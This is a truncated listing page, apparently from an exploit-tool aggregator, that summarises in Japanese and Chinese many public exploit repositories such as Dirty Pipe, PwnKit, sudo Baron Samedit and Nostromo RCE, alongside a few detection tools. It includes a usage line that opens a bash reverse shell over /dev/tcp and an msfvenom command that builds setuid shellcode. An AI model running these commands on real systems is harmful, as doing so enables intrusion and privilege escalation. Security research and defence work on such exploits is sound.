clone_and_pwn

ヘッダー エクスプロイトタイトル: Clone and Pwn 日付: 2018年6月4日 エクスプロイト作成者: Alejandro Caceres ベンダーホームページ: https://git-scm.com/ ソフトウェアリンク: https://git-scm.com/downloads バージョン: Git 2.13.7 以前、2.14.x 系は 2.14.4 以前、2.15.x 系は 2.15.2 以前、2.16.x 系は 2.16.4 以前、2.17.x 系は 2.17.1 以前のバージョンのgitクライアントで任意のコードが実行されます テスト環境: Linux:...

Dirty-Pipe-Exploits

CVE-2022-0847 エクスプロイト Dirty Pipe それは何ですか？ 2022年3月7日にMax Kellerman2によって公開されたCVE-2022-0847は、Linuxカーネル（バージョン5.8から5.16.11まで）の脆弱性で、攻撃者が読み取り専用または不変のファイルを置き換え、被害者のシステムで権限を昇格させることを可能にします。CVE-2022-0847はDirty Pipeと呼ばれ、CVSSスコアは7.8（高）です。 脆弱性の悪用はどのように機能しますか？ Dirty...

mcp-server-attestation

StudioMeyer MCP Stack 的一部分 — 在 Mallorca 构建 🌴 · 如果使用请 ⭐ mcp-server-attestation Layer-2 供应链加固，用于 Model Context Protocol 服务器。Ed25519 签名的工具清单、运行时 spawn 认证、默认拒绝参数清理器。 直接回应： OX Security 市场投毒，2026 年 4 月 — 11 个 MCP 注册中心中有 9 个接受了恶意服务器。Anthropic 的公开立场：“预期行为”。 CVE-2025-69256 — 通过 childprocess.exec 命令注入的...

sunsetscan

SunsetScan 人間のためのネットワークセキュリティ監査 — nmap を基盤に、誰でも使えるように。 Website: sunsetscan.com SunsetScan は、家庭ネットワークの管理者や IT スタッフ を対象としたローカルネットワークセキュリティ監査ツールです。nmap の深みを活かしながら、nmap の構文を覚える必要はありません。ネットワークを指定すると、アクティブなデバイスをすべて検出し、実行中のソフトウェアをフィンガープリントし、既知の脆弱性データベースやサポート終了情報と照合し、Web...

LFI-Destruction

🔥 LFI-Destruction – 認可されたペネトレーションテストフレームワーク LFI-Destroyerは、認可されたセキュリティ専門家向けに設計された、包括的でモジュール式のLocal File Inclusion（LFI）悪用フレームワークです。複数の攻撃手法を1つの使いやすいツールに統合しています： SSH & ブラウザアーティファクトファジング – LinuxおよびWindows上でSSHキー、Putty PPK、WinSCP、FileZilla、Firefox、Chrome、Edge、Braveの認証情報をハントします。 ログポイズニング → リバースシェル –...

Cisco-IOS-XE-CVE-2023-20198

Cisco-IOS-XE-CVE-2023-20198 CVE-2023-20198 のエクスプロイト PoC 脆弱性情報とエクスプロイトの使用方法は smokeintheshell から提供されています 参考文献を参照 エンドポイント、http コンテンツタイプ、ヘッダー管理は、他の既存の PoC から変更され、他のエクスプロイトが失敗する状況でも動作するようになっています。 Description CVE-2023-20198 は、Nginx フィルタリングをバイパスして認証なしで webuiwsmahttp Web エンドポイントに到達するための不適切なパス検証が特徴です。...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE これは、Nostromo 1.9.6 RCE に対する CVE-2019-16278 のエクスプロイトです。このエクスプロイトにより、被害マシン上で RCE が可能になります。 要件 optparse socat sys 使用方法 以下のようにエクスプロイトを使用できます： root@kitploit: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -i & /dev/tcp/10.10.16.42/443...

CVE-2022-44268

CVE-2022-44268 ImageMagick 7.1.0-49 情報漏洩に対して脆弱 使用法 exploit.sh sh exploit.sh 出力画像は output.png に保存されます getdata.sh sh getdata.sh 出典 https://www.metabaseq.com/threat/imagemagick-zero-days/...

CVE-2022-0944

CVE-2022-0944 SQLPad - テンプレートインジェクション これはブラインド脆弱性であり、出力がレスポンスに直接返されることを意味します。 エクスプロイト 次のコマンドでスクリプトを使用してください： python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password password 出力 root@kitploit: Login was successfull Exploited! テスト環境 Dockerを使用する場合：...

Poc_for_CVE-2025-24813

root@kitploit: !/usr/bin/env python3 """ .----------------. .----------------. .----------------. | | | | | | | | \ | | | | .' | | | | | | | | | | / .' | | | | '. | | | | | | | | | | | | | | | \ . | | | |/ | | || | | ..' | '----------------' '----------------' '----------------' """ CVE-2025-2481...

PwnKit-CVE-2021-4034

Pwnkit 漏洞利用说明 此内容并非我所编写。仅用于记录我在利用该漏洞时的执行/操作步骤，因为其中包含一些非常复杂且繁琐的步骤。 文件来源于以下地址： https://packetstormsecurity.com/files/165739/PolicyKit-1-0.105-31-Privilege-Escalation.html 关于执行的额外帮助可参考： https://ine.com/blog/exploiting-pwnkit-cve-20214034 此内容已在 OSCP 的 Blackgate 练习虚拟机上进行过测试/执行： Ubuntu 20.04 内核...

spectre-attack

Spectre攻撃の例 2018年1月2日に公開された「Spectre」エクスプロイトを使用した例 CVE-2017-5753 および CVE-2017-5715 Spectreは異なるアプリケーション間の隔離を破ります。攻撃者は、ベストプラクティスに従ったエラーのないプログラムをだまして、その秘密を漏洩させることができます。実際、そのベストプラクティスの安全性チェックは攻撃対象領域を増やし、アプリケーションをSpectreに対してより脆弱にする可能性があります。 Spectre paper - Spectre論文とコードのソース 言語 C言語、使用ライブラリ: stdio.h...

CVE-2023-0386-libs

ビルド環境のインストール root@kitploit: sudo apt install -y gcc libfuse-dev pkg-config exp のコンパイル root@kitploit: gcc -Wall CVE-2023-0386.c pkg-config fuse --cflags --libs -DFILEOFFSETBITS=64 -o CVE-2023-0386-exp -static -lfuse シェルコードの生成 root@kitploit: msfvenom -p linux/x86/exec CMD=/bin/sh PrependSetuid=True...

CVE-2021-3156

CVE-2021-3156 PoC はじめに これは、sudo の脆弱性 CVE-2021-3156（Qualys によって Baron Samedit と名付けられた）のエクスプロイトです。 使用方法 ビルド: root@kitploit: $ make ターゲット一覧: root@kitploit: $ ./sudo-hax-me-a-sandwich 実行: root@kitploit: $ ./sudo-hax-me-a-sandwich 手動モード: root@kitploit: $ ./sudo-hax-me-a-sandwich ブルートフォースターゲット検出（実験的） G...

Detection-and-Mitigation-for-CVE-2022-2639

Detection-and-Mitigation-for-CVE-2022-2639 描述 Open vSwitch 内核模块允许在所选网络设备上对流级数据包处理进行灵活的用户空间控制。它可用于实现普通以太网交换机、网络设备绑定、VLAN 处理、网络访问控制、基于流的网络控制等。如果此内核模块未在使用中，建议禁用它以防止攻击。 安装 root@kitploit: wget https://github.com/EkamSinghWalia/Detection-and-Mitigation-for-CVE-2022-2639.git 使用 root@kitploit:...

-Detection-and-Mitigation-for-CVE-2022-1679

-CVE-2022-1679の検出と緩和 説明...

CVE-2016-5195-master

CVE-2016-5195 CVE-2016-5195 dirty cow/dirtycow/dirtyc0w Android向けの概念実証 このリポジトリは、ADBで接続された脆弱性のあるAndroidデバイス上で脆弱性を実証します。 SELinuxを無効にしたり（https://github.com/timwr/CVE-2016-5195/issues/9 を参照）、デバイスにsuperuserをインストールしたりしません。 root@kitploit: $ make root ndk-build NDKPROJECTPATH=. APPBUILDSCRIPT=./Android.m...

CVE-2019-17147_Practice_Material

CVE-2019-17147PracticeMaterial 此仓库包含易受 CVE-2019-17147 影响的固件版本的 flash 分区转储文件，以及一些用于降级和调试你的 WR841NV14 路由器的实用二进制文件。 进行硬件修改（例如覆写 flash 芯片分区）存在风险。请自行评估风险并决定是否要这样做。 为什么？ ZDI 发布的文章：https://www.zerodayinitiative.com/blog/2019/12/2/mindshare-hardware-reversing-with-the-tp-link-tl-wr841n-router-part-2...

bleed

bleed bleed は、サーバーが 'Heartbleed' 脆弱性 CVE-2014-0160 に影響を受けているかをテストするツールです。 使用法 root@kitploit: $ bleed example.org Connecting... Sending Client Hello Waiting for Server Hello... Sending Heartbeat request Unexpected EOF receiving record header. Server closed connection. No heartbeat response. Server...

blueXploit

blueXploit blueXploit ビデオ blueXploit は、Marc Newlin 氏が発見した Bluetooth キーストロークインジェクションの脆弱性 CVE-2023-45866 を再現する私自身の概念実証です。Bluetooth プロトコルの欠陥を悪用して、ペアリングなし でターゲットデバイスにキーストロークを注入し、より複雑な攻撃への扉を開きます。 帰属. この脆弱性と元のエクスプロイトは Marc Newlin 氏の作品です himynameiskeyboard — 私は発見を主張するものではありません 。...